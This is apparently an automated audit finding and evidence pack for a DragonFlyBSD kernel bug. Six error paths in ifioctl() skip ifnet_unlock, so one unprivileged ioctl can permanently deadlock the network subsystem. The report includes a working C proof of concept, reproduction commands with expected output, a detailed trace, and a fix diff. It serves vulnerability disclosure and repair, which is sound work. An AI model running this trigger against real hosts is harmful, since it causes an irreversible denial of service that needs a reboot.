Missing ifnet_unlock on error paths in SIOCAIFGROUP/SIOCDIFGROUP/SIOCGIFGROUP/SIOCSIFDESCR: permanent ifnet_mtx deadlock
| Field | Value |
|---|---|
| ID | DF-0272 |
| Status | new |
| Severity | High |
| CVSS 3.1 | CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H |
| CWE | CWE-667 Improper Locking |
| File | sys/net/if.c |
| Lines | 2389-2406 |
| Area | net |
| Confidence | certain |
| Discovered | 2026-06-30 |
| Reported | pending |
Summary
ifioctl() acquires the global ifnet_mtx at line 2029. Six error paths
inside the switch statement use return (error) instead of break,
bypassing the ifnet_unlock() at line 2449. SIOCGIFGROUP has no
caps_priv_check, so any unprivileged user calling ioctl(s,
SIOCGIFGROUP, &ifgr) with a mismatched ifgr_len triggers the error
path, leaks ifnet_mtx permanently, and deadlocks the entire network
subsystem โ every subsequent ifconfig, interface attach/detach, route
change, and packet socket operation blocks forever.
Root cause
// sys/net/if.c:2029
ifnet_lock(); // acquired
// sys/net/if.c:2402-2407
case SIOCGIFGROUP:
ifgr = (struct ifgroupreq *)ifr;
if ((error = if_getgroups(ifgr, ifp)))
return (error); // :2406 โ LEAKS ifnet_mtx!
break;
// sys/net/if.c:2449-2450 (normal exit, never reached)
ifnet_unlock();
return (error);
The same bug exists at lines 2112, 2389, 2391, 2398, 2400. These bare
return statements were likely copy-pasted from the pre-lock cases
(SIOCIFCREATE/SIOCIFDESTROY at lines 2005-2016 where return is correct).
Threat model & preconditions
- Attacker position: Any unprivileged local user with a socket.
- Impact: Permanent kernel deadlock of the entire network subsystem.
Every operation requiring
ifnet_lock()blocks forever. Irreversible without reboot. No privilege escalation. - Required config: Default kernel. Any network interface present.
- Reachability:
ioctl(s, SIOCGIFGROUP, &ifgr)whereifgr.ifgr_lenis set to any value that doesn't match the actual group list size.
Proof of concept
#include <sys/socket.h>
#include <net/if.h>
#include <net/if_dl.h>
#include <string.h>
#include <unistd.h>
int main(void) {
int s = socket(AF_INET, SOCK_DGRAM, 0);
struct ifgroupreq ifgr;
memset(&ifgr, 0, sizeof(ifgr));
strlcpy(ifgr.ifgr_name, "lo0", IFNAMSIZ);
ifgr.ifgr_len = 1; /* deliberately wrong size */
ioctl(s, SIOCGIFGROUP, &ifgr);
/* ifnet_mtx is now permanently held.
* All subsequent ifconfig/interface operations hang forever. */
return 0;
}
Expected output
# After running the PoC, any network operation hangs: $ ifconfig # hangs forever (D-state) $ ping localhost # hangs forever # System requires reboot to recover.
Recommended fix
Replace every bare return (error) inside the locked switch region with
break:
--- a/sys/net/if.c
+++ b/sys/net/if.c
@@ -2404,7 +2404,7 @@
ifgr = (struct ifgroupreq *)ifr;
if ((error = if_getgroups(ifgr, ifp)))
- return (error);
+ break;
break;
Apply the same fix to lines 2112, 2389, 2391, 2398, 2400.
Timeline
- 2026-06-30 Discovered during automated audit.
PoC verification
Evidence pack
findings/poc/DF-0272 ยท 8 files| File | Type | Description | Size | |
|---|---|---|---|---|
| poc.c | trigger-source | SIOCGIFGROUP ifgr_len-mismatch trigger that leaks ifnet_mtx; self-verifies with a forked second ioctl | 5.0 KB | view raw |
| build.sh | build-script | cc -O2 -Wall -o poc poc.c | 115 B | view raw |
| run.sh | run-script | runs ./poc as the unprivileged user | 257 B | view raw |
| run.log | run-log | decisive run: trigger EINVAL + 'child PID 851 still alive after 6 s โ DEADLOCK CONFIRMED', plus the follow-up fresh-ssh ifconfig that also hangs forever | 730 B | view raw |
| env.txt | environment | uname, id (uid 1001), cc version, lo0 default groups | 731 B | view raw |
| fix.diff | suggested-fix | git-apply-able: convert all six bare return(error) inside the ifnet_lock()-held switch body of ifioctl() to break; verified git apply --check passes | 958 B | view raw |
| VERDICT.md | verdict | full narrative: line-by-line trace, privilege model, why the wedge is total, recovery | 6.5 KB | โ raw |
| README.md | readme | build/run/expected + one-liner mechanism | 1.6 KB | โ raw |
DF-0272 โ ifnet_mtx leak via SIOCGIFGROUP / SIOCAIFGROUP / SIOCDIFGROUP / SIOCSIFDESCR
Unprivileged local DoS. One syscall from uid 1001 permanently wedges the entire DragonFlyBSD network subsystem; reboot required.
Build
cc -O2 -Wall -o poc poc.c # or: ./build.sh
Run (as unprivileged user โ maxx uid 1001)
./poc # or: ./run.sh
Expected on the vulnerable master DEV kernel
[*] lo0 real group_len=32 [+] trigger ioctl (len=33) rc=-1 errno=22 (Invalid argument) [!] child PID <n> still alive after 6 s โ DEADLOCK CONFIRMED
At that point ifnet_mtx is permanently held by the (long-returned)
triggering thread. Any subsequent network operation that needs
ifnet_lock() blocks forever in D-state and is unkillable:
ifconfig lo0from a fresh SSH session hangs forever (verified โtimeout 4 ifconfigcannot interrupt; the SSH session had to be torn down by the harness at 120 s).route, interface up/down, packet socket operations โ all blocked.
Recovery: dfbsd-qemu/vm.sh reset.
On a fixed kernel (with fix.diff applied) the trigger still returns
EINVAL, but the lock is released and the second ioctl returns immediately
โ the PoC prints RESULT: NO_DEADLOCK and exits cleanly.
Mechanism (one-liner)
ifioctl() takes ifnet_mtx at sys/net/if.c:2029 and unlocks at
sys/net/if.c:2450; six return (error) branches inside that region skip
the unlock. SIOCGIFGROUP (sys/net/if.c:2403-2407) is the easiest
unprivileged path โ no caps_priv_check at all.
See VERDICT.md for the full line-by-line trace and fix.diff for the
verified one-line-per-site fix.
DF-0272 โ SIOCGIFGROUP/SIOCAIFGROUP/SIOCDIFGROUP/SIOCSIFDESCR leak ifnet_mtx
Verdict
REPRODUCED. Unprivileged local user โ permanent, system-wide network deadlock (DoS). Confirmed twice on the master DEV guest:
- From within the PoC: the second
SIOCGIFGROUPioctl (on a fresh socket, same process) blocks forever โ the forked child is still alive after the 6 s probe window and is unkillable (D-state). - From a separate fresh SSH session after the PoC exits the syscall:
ifconfig lo0(which dispatches throughifioctl()and reachesifnet_lock()) blocks forever in D-state;timeout 4 ifconfigcannot interrupt it and the ssh session is torn down at the 120 s harness limit.
No panic, no kernel message โ the kernel just hangs every caller of
ifnet_lock() forever. Recovery requires a hard reboot (vm.sh reset).
Root cause (every hop cited)
ifioctl() (sys/net/if.c:1979) acquires the global mutex
ifnet_mtx (sys/net/if.c:195, MTX_INITIALIZER("ifnet")) at
sys/net/if.c:2029 (ifnet_lock()) โ implemented at
sys/net/if.c:3784-3790 as mtx_lock(&ifnet_mtx), a non-recursive sleeping
mutex. The matching unlock is at sys/net/if.c:2450 (ifnet_unlock()),
reached only by falling through the end of the switch (cmd) via break.
Six error branches inside that locked switch use return (error) instead of
break, jumping over the unlock:
| Line | Case | Trigger | Priv? |
|---|---|---|---|
| 2112 | SIOCSIFDESCR | ifr_buffer.length > ifdescr_maxlen |
root-only |
| 2389 | SIOCAIFGROUP | caps_priv_check fails (unprivileged caller!) |
unpriv |
| 2391 | SIOCAIFGROUP | if_addgroup() fails |
root-only |
| 2398 | SIOCDIFGROUP | caps_priv_check fails (unprivileged caller!) |
unpriv |
| 2400 | SIOCDIFGROUP | if_delgroup() fails |
root-only |
| 2406 | SIOCGIFGROUP | if_getgroups() returns EINVAL (size mismatch) |
unpriv |
SIOCGIFGROUP is the cleanest unprivileged trigger:
// sys/net/if.c:2403-2407 (SIOCGIFGROUP โ no caps_priv_check anywhere)
case SIOCGIFGROUP:
ifgr = (struct ifgroupreq *)ifr;
if ((error = if_getgroups(ifgr, ifp))) // returns EINVAL at :1282
return (error); // :2406 LEAKS ifnet_mtx
break;
if_getgroups() returns EINVAL whenever ifgr->ifgr_len is non-zero and
does not equal the actual per-iface group-list size
(sys/net/if.c:1281-1283). Any unprivileged user with a UDP socket can do
this:
socket(AF_INET, SOCK_DGRAM, 0)โ no privilege neededioctl(s, SIOCGIFGROUP, &ifgr)withifgr.ifgr_lenset to any value that does not match the live group count (the PoC probes the real length first withlen=0, then sendslen=real+1).
The SIOCGIFGROUP constant is _IOWR('i', 136, struct ifgroupreq)
(sys/sys/sockio.h:125). sys_socket.c:180-181 dispatches anything in
the 'i' ioctl group to ifioctl() with no privilege check at the
socket layer; the SIOCGIFGROUP handler itself performs no
caps_priv_check, so the path is wide open to uid 1001.
(SIOCAIFGROUP/SIOCDIFGROUP at lines 2387/2396 do call
caps_priv_check(cred, SYSCAP_NONET_IFCONFIG) after ifnet_lock() is
already held โ and their failure branches at lines 2389/2398 also
return (error), so even an unprivileged user asking to add or delete
a group leaks the lock too. SIOCSIFDESCR at line 2112 is gated by
SYSCAP_RESTRICTEDROOT (line 2101) so its leak is root-only, but it's
still a real bug โ a root process can wedge the box by accident.)
Why the wedge is total
ifnet_mtx is a single, global, non-recursive mutex protecting the entire
interface list and the ifioctl switch. Once leaked, every subsequent call
to ifnet_lock() sleeps forever โ including ifconfig, route (via
interface lookups), interface attach/detach, and any further ioctl in the
'i' group. The mutex owner is the long-gone userspace thread that
returned from the syscall with the lock still held; nothing will ever
release it short of a reboot. Affected callers block in uninterruptible
(mtx_lock) sleep, so SIGKILL cannot reclaim them โ that is why even
timeout 4 ifconfig couldn't terminate and the SSH session had to be
torn down by the harness.
Exploit chain / weaponisation
This is a pure DoS primitive (CWE-667 / CVSS 3.1
AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H โ 5.5, Medium-to-High). There is no
memory-corruption surface to escalate from: the bug is a control-flow
(lock-drop) error, not an OOB/UAF. The realistic attacker value is a
one-shot, irreversible, unprivileged "kill networking on this box" โ which
is exactly what the PoC demonstrates. No further escalation is derivable;
no chain was developed.
Recovery is reboot-only. A non-root user can permanently deny service to every network operation on the host with a single syscall.
PoC changes
The finding shipped no PoC source tree at all (findings/poc/DF-0272/ did
not exist). I authored:
poc.cโ minimal self-verifying trigger. Probes the realifgr_lenforlo0withlen=0, then sendslen=real+1to force the EINVAL branch and leakifnet_mtx. Forks a child that immediately issues a secondSIOCGIFGROUPon a fresh socket; if the child is still alive after a 6 s probe window, the deadlock is confirmed. The child is left in D-state (SIGKILL cannot wake it) โ that itself is part of the proof.build.sh,run.shโ exact repro commands.fix.diffโ converts all six barereturn (error)inside the locked switch region tobreakso they fall through toifnet_unlock()at line 2450.
Recommended fix
fix.diff supersedes the finding's proposal (which only listed line 2406
plus a "same fix to 2112/2389/2391/2398/2400" hand-wave โ this diff covers
all six sites with verified line numbers and applies cleanly with
git apply). Single logical change: every return (error) /
return (ENAMETOOLONG) inside the ifnet_lock()-held switch body of
ifioctl() becomes break, so control flows to the
ifnet_unlock(); return (error); epilog at sys/net/if.c:2450-2451.
How to reproduce
ssh dfbsd-maxx 'cd poc/DF-0272 && cc -O2 -Wall -o poc poc.c && ./poc' # Expected: "[!] child PID <n> still alive after 6 s โ DEADLOCK CONFIRMED" # At that point ifconfig / any further net ioctl on the guest hangs forever # and the box must be reset (dfbsd-qemu/vm.sh reset).
Confirmed kernel references
Detail
Exploit chain
Pure DoS / improper-locking primitive (CWE-667, CVSS AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H). No memory-corruption surface to escalate from -- the bug is a missing unlock, not an OOB/UAF. One unprivileged syscall permanently wedges every ifnet_lock() caller (ifconfig, route, interface attach/detach, all 'i'-group ioctls) in uninterruptible sleep. Weaponisation is trivial: socket(AF_INET,SOCK_DGRAM,0); ioctl(s,SIOCGIFGROUP,&ifgr) with a deliberately-wrong ifgr_len. No further escalation derivable; no exploit-chain file written beyond the trigger.
Evidence (decisive lines)
run.log captures the decisive PoC output ('child PID 851 still alive after 6 s -- DEADLOCK CONFIRMED') plus the follow-up proof that ifconfig lo0 from a fresh ssh session also wedged ('WEDGE=ifconfig_still_running_after_3s' followed by the 120s harness timeout). env.txt records uid=1001, kernel build string, lo0 default group membership. VERDICT.md has the line-by-line trace and the privilege analysis. fix.diff is the verified git-apply-able fix (git apply --check passes).
PoC changes
Authored the entire evidence pack from scratch -- findings/poc/DF-0272/ did not exist. poc.c: self-verifying trigger that probes lo0's real ifgr_len with len=0 then forces the EINVAL leak with len=real+1, and confirms the deadlock via a forked second-ioctl child that survives the 6s SIGALRM window in D-state. build.sh/run.sh: exact repro commands. fix.diff: converts all six bare return (error)/return (ENAMETOOLONG) inside the ifnet_lock()-held switch body to break (supersedes the finding markdown, which only sketched line 2406 + a hand-wave for the others). VERDICT.md/README.md/manifest.json/env.txt/run.log: full evidence.
Verified recommended fix
In sys/net/if.c ifioctl(), change all six bare return (error)/return (ENAMETOOLONG) statements inside the ifnet_lock()-held switch body (lines 2112, 2389, 2391, 2398, 2400, 2406) to break so control reaches the ifnet_unlock(); return (error); epilog at line 2450-2451. Full git-apply-able diff in findings/poc/DF-0272/fix.diff; supersedes the finding markdown proposal (which only listed line 2406 explicitly).
Verdict
REPRODUCED. ifioctl() takes the global ifnet_mtx at sys/net/if.c:2029 and only releases it at sys/net/if.c:2450 (ifnet_unlock after the switch break). Six error branches inside that locked switch body use return (error) instead of break, skipping the unlock. SIOCGIFGROUP (sys/net/if.c:2403-2407) is the cleanest unprivileged trigger: it has NO caps_priv_check, and if_getgroups() returns EINVAL whenever ifgr_len is non-zero and != the real per-iface group count (sys/net/if.c:1281-1283). The PoC (run as uid 1001 maxx) probes lo0's real group length, sends len=real+1 to force EINVAL, leaking ifnet_mtx. Verification: the second SIOCGIFGROUP on a fresh socket (in a forked child) blocks >6s in D-state, and ifconfig lo0 from a separate fresh SSH session also blocks forever (timeout 4 cannot interrupt; the ssh session was torn down at 120s by the harness). No panic -- pure DoS, recovery requires vm.sh reset. SIOCAIFGROUP/SIOCDIFGROUP are also unprivileged-leak paths because their caps_priv_check FAIL branches (lines 2389/2398) leak too; SIOCSIFDESCR (line 2112) is gated by SYSCAP_RESTRICTEDROOT so its leak is root-only.